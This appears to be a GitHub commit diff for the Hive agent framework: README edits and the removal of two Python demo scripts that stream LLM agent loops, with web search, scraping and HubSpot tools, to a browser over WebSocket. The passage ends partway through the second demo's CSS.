<img width="2500" height="1214" alt="home-screen" src="https://github.com/user-attachments/assets/134d897f-5e75-4874-b00b-e0505f6b45c4" />
### Build Your First Agent
Type the agent you want to build in the home input box
Type the agent you want to build in the home input box. The queen is going to ask you questions and work out a solution with you.
<img width="2500" height="1214" alt="Image" src="https://github.com/user-attachments/assets/1ce19141-a78b-46f5-8d64-dbf987e048f4" />
@@ -131,7 +129,7 @@ Click "Try a sample agent" and check the templates. You can run a template direc
Now you can run an agent by selecting the agent (either an existing agent or example agent). You can click the Run button on the top left, or talk to the queen agent and it can run the agent for you.
<img width="2500" height="1214" alt="Image" src="https://github.com/user-attachments/assets/71c38206-2ad5-49aa-bde8-6698d0bc55f5" />
<img width="2549" height="1174" alt="Screenshot 2026-03-12 at 9 27 36PM" src="https://github.com/user-attachments/assets/7c7d30fa-9ceb-4c23-95af-b1caa405547d" />
## Features
@@ -143,7 +141,6 @@ Now you can run an agent by selecting the agent (either an existing agent or exa
- **SDK-Wrapped Nodes** - Every node gets shared memory, local RLM memory, monitoring, tools, and LLM access out of the box
- **[Human-in-the-Loop](docs/key_concepts/graph.md#human-in-the-loop)** - Intervention nodes that pause execution for human input with configurable timeouts and escalation
- **Real-time Observability** - WebSocket streaming for live monitoring of agent execution, decisions, and node-to-node communication
- **Production-Ready** - Self-hostable, built for scale and reliability
## Integration
@@ -392,10 +389,6 @@ Hive generates your entire agent system from natural language goals using a codi
Yes, Hive is fully open-source under the Apache License 2.0. We actively encourage community contributions and collaboration.
**Q: Can Hive handle complex, production-scale use cases?**
Yes. Hive is explicitly designed for production environments with features like automatic failure recovery, real-time observability, cost controls, and horizontal scaling support. The framework handles both simple automations and complex multi-agent workflows.
**Q: Does Hive support human-in-the-loop workflows?**
Yes, Hive fully supports [human-in-the-loop](docs/key_concepts/graph.md#human-in-the-loop) workflows through intervention nodes that pause execution for human input. These include configurable timeouts and escalation policies, allowing seamless collaboration between human experts and AI agents.
@@ -420,6 +413,16 @@ Visit [docs.adenhq.com](https://docs.adenhq.com/) for complete guides, API refer
Contributions are welcome! Fork the repository, create your feature branch, implement your changes, and submit a pull request. See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.
## Star History
<a href="https://star-history.com/#aden-hive/hive&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=aden-hive/hive&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=aden-hive/hive&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=aden-hive/hive&type=Date" />
</picture>
</a>
---
<p align="center">
-740
View File
@@ -1,740 +0,0 @@
#!/usr/bin/env python3
"""
EventLoopNode WebSocket Demo
Real LLM, real FileConversationStore, real EventBus.
Streams EventLoopNode execution to a browser via WebSocket.
Usage:
cd /home/timothy/oss/hive/core
python demos/event_loop_wss_demo.py
Then open http://localhost:8765 in your browser.
"""
import asyncio
import json
import logging
import sys
import tempfile
from http import HTTPStatus
from pathlib import Path
import httpx
import websockets
from bs4 import BeautifulSoup
from websockets.http11 import Request, Response
# Add core, tools, and hive root to path
_CORE_DIR = Path(__file__).resolve().parent.parent
_HIVE_DIR = _CORE_DIR.parent
sys.path.insert(0, str(_CORE_DIR)) # framework.*
sys.path.insert(0, str(_HIVE_DIR / "tools" / "src")) # aden_tools.*
sys.path.insert(0, str(_HIVE_DIR)) # core.framework.* (for aden_tools imports)
import os # noqa: E402
from aden_tools.credentials import CREDENTIAL_SPECS, CredentialStoreAdapter # noqa: E402
from core.framework.credentials import CredentialStore # noqa: E402
from framework.credentials.storage import ( # noqa: E402
CompositeStorage,
EncryptedFileStorage,
EnvVarStorage,
)
from framework.graph.event_loop_node import EventLoopNode, LoopConfig # noqa: E402
from framework.graph.node import NodeContext, NodeSpec, SharedMemory # noqa: E402
from framework.llm.litellm import LiteLLMProvider # noqa: E402
from framework.llm.provider import Tool # noqa: E402
from framework.runner.tool_registry import ToolRegistry # noqa: E402
from framework.runtime.core import Runtime # noqa: E402
from framework.runtime.event_bus import EventBus, EventType # noqa: E402
from framework.storage.conversation_store import FileConversationStore # noqa: E402
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(name)s %(message)s")
logger = logging.getLogger("demo")
# -------------------------------------------------------------------------
# Persistent state (shared across WebSocket connections)
# -------------------------------------------------------------------------
STORE_DIR = Path(tempfile.mkdtemp(prefix="hive_demo_"))
STORE = FileConversationStore(STORE_DIR / "conversation")
RUNTIME = Runtime(STORE_DIR / "runtime")
LLM = LiteLLMProvider(model="claude-sonnet-4-5-20250929")
# -------------------------------------------------------------------------
# Tool Registry — real tools via ToolRegistry (same pattern as GraphExecutor)
# -------------------------------------------------------------------------
TOOL_REGISTRY = ToolRegistry()
# Credential store: Aden sync (OAuth2 tokens) + encrypted files + env var fallback
_env_mapping = {name: spec.env_var for name, spec in CREDENTIAL_SPECS.items()}
_local_storage = CompositeStorage(
primary=EncryptedFileStorage(),
fallbacks=[EnvVarStorage(env_mapping=_env_mapping)],
)
if os.environ.get("ADEN_API_KEY"):
try:
from framework.credentials.aden import ( # noqa: E402
AdenCachedStorage,
AdenClientConfig,
AdenCredentialClient,
AdenSyncProvider,
)
_client = AdenCredentialClient(AdenClientConfig(base_url="https://api.adenhq.com"))
_provider = AdenSyncProvider(client=_client)
_storage = AdenCachedStorage(
local_storage=_local_storage,
aden_provider=_provider,
)
_cred_store = CredentialStore(storage=_storage, providers=[_provider], auto_refresh=True)
_synced = _provider.sync_all(_cred_store)
logger.info("Synced %d credentials from Aden", _synced)
except Exception as e:
logger.warning("Aden sync unavailable: %s", e)
_cred_store = CredentialStore(storage=_local_storage)
else:
logger.info("ADEN_API_KEY not set, using local credential storage")
_cred_store = CredentialStore(storage=_local_storage)
CREDENTIALS = CredentialStoreAdapter(_cred_store)
# Debug: log which credentials resolved
for _name in ["brave_search", "hubspot", "anthropic"]:
_val = CREDENTIALS.get(_name)
if _val:
logger.debug("credential %s: OK (len=%d)", _name, len(_val))
else:
logger.debug("credential %s: not found", _name)
# --- web_search (Brave Search API) ---
TOOL_REGISTRY.register(
name="web_search",
tool=Tool(
name="web_search",
description=(
"Search the web for current information. "
"Returns titles, URLs, and snippets from search results."
),
parameters={
"type": "object",
"properties": {
"query": {
"type": "string",
"description": "The search query (1-500 characters)",
},
"num_results": {
"type": "integer",
"description": "Number of results to return (1-20, default 10)",
},
},
"required": ["query"],
},
),
executor=lambda inputs: _exec_web_search(inputs),
)
def _exec_web_search(inputs: dict) -> dict:
api_key = CREDENTIALS.get("brave_search")
if not api_key:
return {"error": "brave_search credential not configured"}
query = inputs.get("query", "")
num_results = min(inputs.get("num_results", 10), 20)
resp = httpx.get(
"https://api.search.brave.com/res/v1/web/search",
params={"q": query, "count": num_results},
headers={"X-Subscription-Token": api_key, "Accept": "application/json"},
timeout=30.0,
)
if resp.status_code != 200:
return {"error": f"Brave API HTTP {resp.status_code}"}
data = resp.json()
results = [
{
"title": item.get("title", ""),
"url": item.get("url", ""),
"snippet": item.get("description", ""),
}
for item in data.get("web", {}).get("results", [])[:num_results]
]
return {"query": query, "results": results, "total": len(results)}
# --- web_scrape (httpx + BeautifulSoup, no playwright for sync compat) ---
TOOL_REGISTRY.register(
name="web_scrape",
tool=Tool(
name="web_scrape",
description=(
"Scrape and extract text content from a webpage URL. "
"Returns the page title and main text content."
),
parameters={
"type": "object",
"properties": {
"url": {
"type": "string",
"description": "URL of the webpage to scrape",
},
"max_length": {
"type": "integer",
"description": "Maximum text length (default 50000)",
},
},
"required": ["url"],
},
),
executor=lambda inputs: _exec_web_scrape(inputs),
)
_SCRAPE_HEADERS = {
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/131.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml",
}
def _exec_web_scrape(inputs: dict) -> dict:
url = inputs.get("url", "")
max_length = max(1000, min(inputs.get("max_length", 50000), 500000))
if not url.startswith(("http://", "https://")):
url = "https://" + url
try:
resp = httpx.get(url, timeout=30.0, follow_redirects=True, headers=_SCRAPE_HEADERS)
if resp.status_code != 200:
return {"error": f"HTTP {resp.status_code}"}
soup = BeautifulSoup(resp.text, "html.parser")
for tag in soup(["script", "style", "nav", "footer", "header", "aside", "noscript"]):
tag.decompose()
title = soup.title.get_text(strip=True) if soup.title else ""
main = (
soup.find("article")
or soup.find("main")
or soup.find(attrs={"role": "main"})
or soup.find("body")
)
text = main.get_text(separator=" ", strip=True) if main else ""
text = " ".join(text.split())
if len(text) > max_length:
text = text[:max_length] + "..."
return {"url": url, "title": title, "content": text, "length": len(text)}
except httpx.TimeoutException:
return {"error": "Request timed out"}
except Exception as e:
return {"error": f"Scrape failed: {e}"}
# --- HubSpot CRM tools (optional, requires HUBSPOT_ACCESS_TOKEN) ---
_HUBSPOT_API = "https://api.hubapi.com"
def _hubspot_headers() -> dict | None:
token = CREDENTIALS.get("hubspot")
if token:
logger.debug("HubSpot token: %s...%s (len=%d)", token[:8], token[-4:], len(token))
else:
logger.debug("HubSpot token: not found")
if not token:
return None
return {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/json",
}
def _exec_hubspot_search(inputs: dict) -> dict:
headers = _hubspot_headers()
if not headers:
return {"error": "HUBSPOT_ACCESS_TOKEN not set"}
object_type = inputs.get("object_type", "contacts")
query = inputs.get("query", "")
limit = min(inputs.get("limit", 10), 100)
body: dict = {"limit": limit}
if query:
body["query"] = query
try:
resp = httpx.post(
f"{_HUBSPOT_API}/crm/v3/objects/{object_type}/search",
headers=headers,
json=body,
timeout=30.0,
)
if resp.status_code != 200:
return {"error": f"HubSpot API HTTP {resp.status_code}: {resp.text[:200]}"}
return resp.json()
except httpx.TimeoutException:
return {"error": "Request timed out"}
except Exception as e:
return {"error": f"HubSpot error: {e}"}
TOOL_REGISTRY.register(
name="hubspot_search",
tool=Tool(
name="hubspot_search",
description=(
"Search HubSpot CRM objects (contacts, companies, or deals). "
"Returns matching records with their properties."
),
parameters={
"type": "object",
"properties": {
"object_type": {
"type": "string",
"description": "CRM object type: 'contacts', 'companies', or 'deals'",
},
"query": {
"type": "string",
"description": "Search query (name, email, domain, etc.)",
},
"limit": {
"type": "integer",
"description": "Max results (1-100, default 10)",
},
},
"required": ["object_type"],
},
),
executor=lambda inputs: _exec_hubspot_search(inputs),
)
logger.info(
"ToolRegistry loaded: %s",
", ".join(TOOL_REGISTRY.get_registered_names()),
)
# -------------------------------------------------------------------------
# HTML page (embedded)
# -------------------------------------------------------------------------
HTML_PAGE = ( # noqa: E501
"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>EventLoopNode Live Demo</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'SF Mono', 'Fira Code', monospace;
background: #0d1117; color: #c9d1d9;
height: 100vh; display: flex; flex-direction: column;
}
header {
background: #161b22; padding: 12px 20px;
border-bottom: 1px solid #30363d;
display: flex; align-items: center; gap: 16px;
}
header h1 { font-size: 16px; color: #58a6ff; font-weight: 600; }
.status {
font-size: 12px; padding: 3px 10px; border-radius: 12px;
background: #21262d; color: #8b949e;
}
.status.running { background: #1a4b2e; color: #3fb950; }
.status.done { background: #1a3a5c; color: #58a6ff; }
.status.error { background: #4b1a1a; color: #f85149; }
.chat { flex: 1; overflow-y: auto; padding: 16px; }
.msg {
margin: 8px 0; padding: 10px 14px; border-radius: 8px;
line-height: 1.6; white-space: pre-wrap; word-wrap: break-word;
}
.msg.user { background: #1a3a5c; color: #58a6ff; }
.msg.assistant { background: #161b22; color: #c9d1d9; }
.msg.event {
background: transparent; color: #8b949e; font-size: 11px;
padding: 4px 14px; border-left: 3px solid #30363d;
}
.msg.event.loop { border-left-color: #58a6ff; }
.msg.event.tool { border-left-color: #d29922; }
.msg.event.stall { border-left-color: #f85149; }
.input-bar {
padding: 12px 16px; background: #161b22;
border-top: 1px solid #30363d; display: flex; gap: 8px;
}
.input-bar input {
flex: 1; background: #0d1117; border: 1px solid #30363d;
color: #c9d1d9; padding: 8px 12px; border-radius: 6px;
font-family: inherit; font-size: 14px; outline: none;
}
.input-bar input:focus { border-color: #58a6ff; }
.input-bar button {
background: #238636; color: #fff; border: none;
padding: 8px 20px; border-radius: 6px; cursor: pointer;
font-family: inherit; font-weight: 600;
}
.input-bar button:hover { background: #2ea043; }
.input-bar button:disabled {
background: #21262d; color: #484f58; cursor: not-allowed;
}
.input-bar button.clear { background: #da3633; }
.input-bar button.clear:hover { background: #f85149; }
</style>
</head>
<body>
<header>
<h1>EventLoopNode Live</h1>
<span id="status" class="status">Idle</span>
<span id="iter" class="status" style="display:none">Step 0</span>
</header>
<div id="chat" class="chat"></div>
<div class="input-bar">
<input id="input" type="text"
placeholder="Ask anything..." autofocus />
<button id="go" onclick="run()">Send</button>
<button class="clear"
onclick="clearConversation()">Clear</button>
</div>
<script>
let ws = null;
let currentAssistantEl = null;
let iterCount = 0;
const chat = document.getElementById('chat');
const status = document.getElementById('status');
const iterEl = document.getElementById('iter');
const goBtn = document.getElementById('go');
const inputEl = document.getElementById('input');
inputEl.addEventListener('keydown', e => {
if (e.key === 'Enter') run();
});
function setStatus(text, cls) {
status.textContent = text;
status.className = 'status ' + cls;
}
function addMsg(text, cls) {
const el = document.createElement('div');
el.className = 'msg ' + cls;
el.textContent = text;
chat.appendChild(el);
chat.scrollTop = chat.scrollHeight;
return el;
}
function connect() {
ws = new WebSocket('ws://' + location.host + '/ws');
ws.onopen = () => {
setStatus('Ready', 'done');
goBtn.disabled = false;
};
ws.onmessage = handleEvent;
ws.onerror = () => { setStatus('Error', 'error'); };
ws.onclose = () => {
setStatus('Reconnecting...', '');
goBtn.disabled = true;
setTimeout(connect, 2000);
};
}
function handleEvent(msg) {
const evt = JSON.parse(msg.data);
if (evt.type === 'llm_text_delta') {
if (currentAssistantEl) {
currentAssistantEl.textContent += evt.content;
chat.scrollTop = chat.scrollHeight;
}
}
else if (evt.type === 'ready') {
setStatus('Ready', 'done');
if (currentAssistantEl && !currentAssistantEl.textContent)
currentAssistantEl.remove();
goBtn.disabled = false;
}
else if (evt.type === 'node_loop_iteration') {
iterCount = evt.iteration || (iterCount + 1);
iterEl.textContent = 'Step ' + iterCount;
iterEl.style.display = '';
}
else if (evt.type === 'tool_call_started') {
var info = evt.tool_name + '('
+ JSON.stringify(evt.tool_input).slice(0, 120) + ')';
addMsg('TOOL ' + info, 'event tool');
}
else if (evt.type === 'tool_call_completed') {
var preview = (evt.result || '').slice(0, 200);
var cls = evt.is_error ? 'stall' : 'tool';
addMsg('RESULT ' + evt.tool_name + ': ' + preview,
'event ' + cls);
currentAssistantEl = addMsg('', 'assistant');
}
else if (evt.type === 'result') {
setStatus('Session ended', evt.success ? 'done' : 'error');
if (evt.error) addMsg('ERROR ' + evt.error, 'event stall');
if (currentAssistantEl && !currentAssistantEl.textContent)
currentAssistantEl.remove();
goBtn.disabled = false;
}
else if (evt.type === 'node_stalled') {
addMsg('STALLED ' + evt.reason, 'event stall');
}
else if (evt.type === 'cleared') {
chat.innerHTML = '';
iterCount = 0;
iterEl.textContent = 'Step 0';
iterEl.style.display = 'none';
setStatus('Ready', 'done');
goBtn.disabled = false;
}
}
function run() {
const text = inputEl.value.trim();
if (!text || !ws || ws.readyState !== 1) return;
addMsg(text, 'user');
currentAssistantEl = addMsg('', 'assistant');
inputEl.value = '';
setStatus('Running', 'running');
goBtn.disabled = true;
ws.send(JSON.stringify({ topic: text }));
}
function clearConversation() {
if (ws && ws.readyState === 1) {
ws.send(JSON.stringify({ command: 'clear' }));
}
}
connect();
</script>
</body>
</html>"""
)
# -------------------------------------------------------------------------
# WebSocket handler
# -------------------------------------------------------------------------
async def handle_ws(websocket):
"""Persistent WebSocket: long-lived EventLoopNode with client_facing blocking."""
global STORE
# -- Event forwarding (WebSocket ← EventBus) ----------------------------
bus = EventBus()
async def forward_event(event):
try:
payload = {"type": event.type.value, **event.data}
if event.node_id:
payload["node_id"] = event.node_id
await websocket.send(json.dumps(payload))
except Exception:
pass
bus.subscribe(
event_types=[
EventType.NODE_LOOP_STARTED,
EventType.NODE_LOOP_ITERATION,
EventType.NODE_LOOP_COMPLETED,
EventType.LLM_TEXT_DELTA,
EventType.TOOL_CALL_STARTED,
EventType.TOOL_CALL_COMPLETED,
EventType.NODE_STALLED,
],
handler=forward_event,
)
# -- Per-connection state -----------------------------------------------
node = None
loop_task = None
tools = list(TOOL_REGISTRY.get_tools().values())
tool_executor = TOOL_REGISTRY.get_executor()
node_spec = NodeSpec(
id="assistant",
name="Chat Assistant",
description="A conversational assistant that remembers context across messages",
node_type="event_loop",
client_facing=True,
system_prompt=(
"You are a helpful assistant with access to tools. "
"You can search the web, scrape webpages, and query HubSpot CRM. "
"Use tools when the user asks for current information or external data. "
"You have full conversation history, so you can reference previous messages."
),
)
# -- Ready callback: subscribe to CLIENT_INPUT_REQUESTED on the bus ---
async def on_input_requested(event):
try:
await websocket.send(json.dumps({"type": "ready"}))
except Exception:
pass
bus.subscribe(
event_types=[EventType.CLIENT_INPUT_REQUESTED],
handler=on_input_requested,
)
async def start_loop(first_message: str):
"""Create an EventLoopNode and run it as a background task."""
nonlocal node, loop_task
memory = SharedMemory()
ctx = NodeContext(
runtime=RUNTIME,
node_id="assistant",
node_spec=node_spec,
memory=memory,
input_data={},
llm=LLM,
available_tools=tools,
)
node = EventLoopNode(
event_bus=bus,
config=LoopConfig(max_iterations=10_000, max_context_tokens=32_000),
conversation_store=STORE,
tool_executor=tool_executor,
)
await node.inject_event(first_message)
async def _run():
try:
result = await node.execute(ctx)
try:
await websocket.send(
json.dumps(
{
"type": "result",
"success": result.success,
"output": result.output,
"error": result.error,
"tokens": result.tokens_used,
}
)
)
except Exception:
pass
logger.info(f"Loop ended: success={result.success}, tokens={result.tokens_used}")
except websockets.exceptions.ConnectionClosed:
logger.info("Loop stopped: WebSocket closed")
except Exception as e:
logger.exception("Loop error")
try:
await websocket.send(
json.dumps(
{
"type": "result",
"success": False,
"error": str(e),
"output": {},
}
)
)
except Exception:
pass
loop_task = asyncio.create_task(_run())
async def stop_loop():
"""Signal the node and wait for the loop task to finish."""
nonlocal node, loop_task
if loop_task and not loop_task.done():
if node:
node.signal_shutdown()
try:
await asyncio.wait_for(loop_task, timeout=5.0)
except (TimeoutError, asyncio.CancelledError):
loop_task.cancel()
node = None
loop_task = None
# -- Message loop (runs for the lifetime of this WebSocket) -------------
try:
async for raw in websocket:
try:
msg = json.loads(raw)
except Exception:
continue
# Clear command
if msg.get("command") == "clear":
import shutil
await stop_loop()
await STORE.close()
conv_dir = STORE_DIR / "conversation"
if conv_dir.exists():
shutil.rmtree(conv_dir)
STORE = FileConversationStore(conv_dir)
await websocket.send(json.dumps({"type": "cleared"}))
logger.info("Conversation cleared")
continue
topic = msg.get("topic", "")
if not topic:
continue
if node is None:
# First message — spin up the loop
logger.info(f"Starting persistent loop: {topic}")
await start_loop(topic)
else:
# Subsequent message — inject into the running loop
logger.info(f"Injecting message: {topic}")
await node.inject_event(topic)
except websockets.exceptions.ConnectionClosed:
pass
finally:
await stop_loop()
logger.info("WebSocket closed, loop stopped")
# -------------------------------------------------------------------------
# HTTP handler for serving the HTML page
# -------------------------------------------------------------------------
async def process_request(connection, request: Request):
"""Serve HTML on GET /, upgrade to WebSocket on /ws."""
if request.path == "/ws":
return None # let websockets handle the upgrade
# Serve the HTML page for any other path
return Response(
HTTPStatus.OK,
"OK",
websockets.Headers({"Content-Type": "text/html; charset=utf-8"}),
HTML_PAGE.encode(),
)
# -------------------------------------------------------------------------
# Main
# -------------------------------------------------------------------------
async def main():
port = 8765
async with websockets.serve(
handle_ws,
"0.0.0.0",
port,
process_request=process_request,
):
logger.info(f"Demo running at http://localhost:{port}")
logger.info("Open in your browser and enter a topic to research.")
await asyncio.Future() # run forever
if __name__ == "__main__":
asyncio.run(main())
File diff suppressed because it is too large Load Diff
-930
View File
@@ -1,930 +0,0 @@
#!/usr/bin/env python3
"""
Two-Node ContextHandoff Demo
Demonstrates ContextHandoff between two EventLoopNode instances:
Node A (Researcher) ContextHandoff Node B (Analyst)
Real LLM, real FileConversationStore, real EventBus.
Streams both nodes to a browser via WebSocket.
Usage:
cd /home/timothy/oss/hive/core
python demos/handoff_demo.py
Then open http://localhost:8766 in your browser.
"""
import asyncio
import json
import logging
import sys
import tempfile
from http import HTTPStatus
from pathlib import Path
import httpx
import websockets
from bs4 import BeautifulSoup
from websockets.http11 import Request, Response
# Add core, tools, and hive root to path
_CORE_DIR = Path(__file__).resolve().parent.parent
_HIVE_DIR = _CORE_DIR.parent
sys.path.insert(0, str(_CORE_DIR)) # framework.*
sys.path.insert(0, str(_HIVE_DIR / "tools" / "src")) # aden_tools.*
sys.path.insert(0, str(_HIVE_DIR)) # core.framework.* (for aden_tools imports)
from aden_tools.credentials import CREDENTIAL_SPECS, CredentialStoreAdapter # noqa: E402
from core.framework.credentials import CredentialStore # noqa: E402
from framework.credentials.storage import ( # noqa: E402
CompositeStorage,
EncryptedFileStorage,
EnvVarStorage,
)
from framework.graph.context_handoff import ContextHandoff # noqa: E402
from framework.graph.conversation import NodeConversation # noqa: E402
from framework.graph.event_loop_node import EventLoopNode, LoopConfig # noqa: E402
from framework.graph.node import NodeContext, NodeSpec, SharedMemory # noqa: E402
from framework.llm.litellm import LiteLLMProvider # noqa: E402
from framework.llm.provider import Tool # noqa: E402
from framework.runner.tool_registry import ToolRegistry # noqa: E402
from framework.runtime.core import Runtime # noqa: E402
from framework.runtime.event_bus import EventBus, EventType # noqa: E402
from framework.storage.conversation_store import FileConversationStore # noqa: E402
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(name)s %(message)s")
logger = logging.getLogger("handoff_demo")
# -------------------------------------------------------------------------
# Persistent state
# -------------------------------------------------------------------------
STORE_DIR = Path(tempfile.mkdtemp(prefix="hive_handoff_"))
RUNTIME = Runtime(STORE_DIR / "runtime")
LLM = LiteLLMProvider(model="claude-sonnet-4-5-20250929")
# -------------------------------------------------------------------------
# Credentials
# -------------------------------------------------------------------------
# Composite credential store: encrypted files (primary) + env vars (fallback)
_env_mapping = {name: spec.env_var for name, spec in CREDENTIAL_SPECS.items()}
_composite = CompositeStorage(
primary=EncryptedFileStorage(),
fallbacks=[EnvVarStorage(env_mapping=_env_mapping)],
)
CREDENTIALS = CredentialStoreAdapter(CredentialStore(storage=_composite))
for _name in ["brave_search", "hubspot"]:
_val = CREDENTIALS.get(_name)
if _val:
logger.debug("credential %s: OK (len=%d)", _name, len(_val))
else:
logger.debug("credential %s: not found", _name)
# -------------------------------------------------------------------------
# Tool Registry — web_search + web_scrape for Node A (Researcher)
# -------------------------------------------------------------------------
TOOL_REGISTRY = ToolRegistry()
def _exec_web_search(inputs: dict) -> dict:
api_key = CREDENTIALS.get("brave_search")
if not api_key:
return {"error": "brave_search credential not configured"}
query = inputs.get("query", "")
num_results = min(inputs.get("num_results", 10), 20)
resp = httpx.get(
"https://api.search.brave.com/res/v1/web/search",
params={"q": query, "count": num_results},
headers={
"X-Subscription-Token": api_key,
"Accept": "application/json",
},
timeout=30.0,
)
if resp.status_code != 200:
return {"error": f"Brave API HTTP {resp.status_code}"}
data = resp.json()
results = [
{
"title": item.get("title", ""),
"url": item.get("url", ""),
"snippet": item.get("description", ""),
}
for item in data.get("web", {}).get("results", [])[:num_results]
]
return {"query": query, "results": results, "total": len(results)}
TOOL_REGISTRY.register(
name="web_search",
tool=Tool(
name="web_search",
description=(
"Search the web for current information. "
"Returns titles, URLs, and snippets from search results."
),
parameters={
"type": "object",
"properties": {
"query": {
"type": "string",
"description": "The search query (1-500 characters)",
},
"num_results": {
"type": "integer",
"description": "Number of results (1-20, default 10)",
},
},
"required": ["query"],
},
),
executor=lambda inputs: _exec_web_search(inputs),
)
_SCRAPE_HEADERS = {
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/131.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml",
}
def _exec_web_scrape(inputs: dict) -> dict:
url = inputs.get("url", "")
max_length = max(1000, min(inputs.get("max_length", 50000), 500000))
if not url.startswith(("http://", "https://")):
url = "https://" + url
try:
resp = httpx.get(
url,
timeout=30.0,
follow_redirects=True,
headers=_SCRAPE_HEADERS,
)
if resp.status_code != 200:
return {"error": f"HTTP {resp.status_code}"}
soup = BeautifulSoup(resp.text, "html.parser")
for tag in soup(["script", "style", "nav", "footer", "header", "aside", "noscript"]):
tag.decompose()
title = soup.title.get_text(strip=True) if soup.title else ""
main = (
soup.find("article")
or soup.find("main")
or soup.find(attrs={"role": "main"})
or soup.find("body")
)
text = main.get_text(separator=" ", strip=True) if main else ""
text = " ".join(text.split())
if len(text) > max_length:
text = text[:max_length] + "..."
return {
"url": url,
"title": title,
"content": text,
"length": len(text),
}
except httpx.TimeoutException:
return {"error": "Request timed out"}
except Exception as e:
return {"error": f"Scrape failed: {e}"}
TOOL_REGISTRY.register(
name="web_scrape",
tool=Tool(
name="web_scrape",
description=(
"Scrape and extract text content from a webpage URL. "
"Returns the page title and main text content."
),
parameters={
"type": "object",
"properties": {
"url": {
"type": "string",
"description": "URL of the webpage to scrape",
},
"max_length": {
"type": "integer",
"description": "Maximum text length (default 50000)",
},
},
"required": ["url"],
},
),
executor=lambda inputs: _exec_web_scrape(inputs),
)
logger.info(
"ToolRegistry loaded: %s",
", ".join(TOOL_REGISTRY.get_registered_names()),
)
# -------------------------------------------------------------------------
# Node Specs
# -------------------------------------------------------------------------
RESEARCHER_SPEC = NodeSpec(
id="researcher",
name="Researcher",
description="Researches a topic using web search and scraping tools",
node_type="event_loop",
input_keys=["topic"],
output_keys=["research_summary"],
system_prompt=(
"You are a thorough research assistant. Your job is to research "
"the given topic using the web_search and web_scrape tools.\n\n"
"1. Search for relevant information on the topic\n"
"2. Scrape 1-2 of the most promising URLs for details\n"
"3. Synthesize your findings into a comprehensive summary\n"
"4. Use set_output with key='research_summary' to save your "
"findings\n\n"
"Be thorough but efficient. Aim for 2-4 search/scrape calls, "
"then summarize and set_output."
),
)
ANALYST_SPEC = NodeSpec(
id="analyst",
name="Analyst",
description="Analyzes research findings and provides insights",
node_type="event_loop",
input_keys=["context"],
output_keys=["analysis"],
system_prompt=(
"You are a strategic analyst. You receive research findings from "
"a previous researcher and must:\n\n"
"1. Identify key themes and patterns\n"
"2. Assess the reliability and significance of the findings\n"
"3. Provide actionable insights and recommendations\n"
"4. Use set_output with key='analysis' to save your analysis\n\n"
"Be concise but insightful. Focus on what matters most."
),
)
# -------------------------------------------------------------------------
# HTML page
# -------------------------------------------------------------------------
HTML_PAGE = ( # noqa: E501
"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ContextHandoff Demo</title>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'SF Mono', 'Fira Code', monospace;
background: #0d1117;
color: #c9d1d9;
height: 100vh;
display: flex;
flex-direction: column;
}
header {
background: #161b22;
padding: 12px 20px;
border-bottom: 1px solid #30363d;
display: flex;
align-items: center;
gap: 16px;
}
header h1 {
font-size: 16px;
color: #58a6ff;
font-weight: 600;
}
.badge {
font-size: 12px;
padding: 3px 10px;
border-radius: 12px;
background: #21262d;
color: #8b949e;
}
.badge.researcher {
background: #1a3a5c;
color: #58a6ff;
}
.badge.analyst {
background: #1a4b2e;
color: #3fb950;
}
.badge.handoff {
background: #3d1f00;
color: #d29922;
}
.badge.done {
background: #21262d;
color: #8b949e;
}
.badge.error {
background: #4b1a1a;
color: #f85149;
}
.chat {
flex: 1;
overflow-y: auto;
padding: 16px;
}
.msg {
margin: 8px 0;
padding: 10px 14px;
border-radius: 8px;
line-height: 1.6;
white-space: pre-wrap;
word-wrap: break-word;
}
.msg.user {
background: #1a3a5c;
color: #58a6ff;
}
.msg.assistant {
background: #161b22;
color: #c9d1d9;
}
.msg.assistant.analyst-msg {
border-left: 3px solid #3fb950;
}
.msg.event {
background: transparent;
color: #8b949e;
font-size: 11px;
padding: 4px 14px;
border-left: 3px solid #30363d;
}
.msg.event.loop {
border-left-color: #58a6ff;
}
.msg.event.tool {
border-left-color: #d29922;
}
.msg.event.stall {
border-left-color: #f85149;
}
.handoff-banner {
margin: 16px 0;
padding: 16px;
background: #1c1200;
border: 1px solid #d29922;
border-radius: 8px;
text-align: center;
}
.handoff-banner h3 {
color: #d29922;
font-size: 14px;
margin-bottom: 8px;
}
.handoff-banner p, .result-banner p {
color: #8b949e;
font-size: 12px;
line-height: 1.5;
max-height: 200px;
overflow-y: auto;
white-space: pre-wrap;
text-align: left;
}
.result-banner {
margin: 16px 0;
padding: 16px;
background: #0a2614;
border: 1px solid #3fb950;
border-radius: 8px;
}
.result-banner h3 {
color: #3fb950;
font-size: 14px;
margin-bottom: 8px;
text-align: center;
}
.result-banner .label {
color: #58a6ff;
font-size: 11px;
font-weight: 600;
margin-top: 10px;
margin-bottom: 2px;
}
.result-banner .tokens {
color: #484f58;
font-size: 11px;
text-align: center;
margin-top: 10px;
}
.input-bar {
padding: 12px 16px;
background: #161b22;
border-top: 1px solid #30363d;
display: flex;
gap: 8px;
}
.input-bar input {
flex: 1;
background: #0d1117;
border: 1px solid #30363d;
color: #c9d1d9;
padding: 8px 12px;
border-radius: 6px;
font-family: inherit;
font-size: 14px;
outline: none;
}
.input-bar input:focus {
border-color: #58a6ff;
}
.input-bar button {
background: #238636;
